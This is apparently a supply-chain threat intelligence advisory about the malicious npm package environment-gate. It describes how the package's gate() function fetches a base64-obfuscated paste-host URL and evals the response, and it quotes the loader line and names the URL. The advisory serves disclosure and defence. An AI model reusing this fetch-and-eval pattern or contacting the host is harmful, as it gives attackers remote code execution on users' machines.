Supply-chain threat intelligence

Incident detail

criticalnpm·obfuscation·osv

Malicious code in environment-gate (npm)

environment-gate

Risk score

92

AI summary

Indexed incident for environment-gate (npm).

Description

The package's only export, gate(), performs an HTTP GET to a base64-obfuscated URL (https://www.jsonkeeper.com/b/VKUNI) and passes the response body directly to eval(). The destination is an anonymous, mutable JSON paste host whose contents the author can change at any moment, so any caller of the documented gate() API executes arbitrary remote JavaScript in the installer's Node.js process — full remote code execution. The base64 wrapping of the URL and the cover-story description ('utility to await multiple asynchronous calls') with no repo, empty author field, and a single-file payload are consistent with a throwaway malicious package. index.js line 2: require('axios').get(atob('...')).then(r => {eval(r.data.content)}).

Technical details

Affected versions

=7.3.6

Indicators

  • affected version=7.3.675%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

Related incidents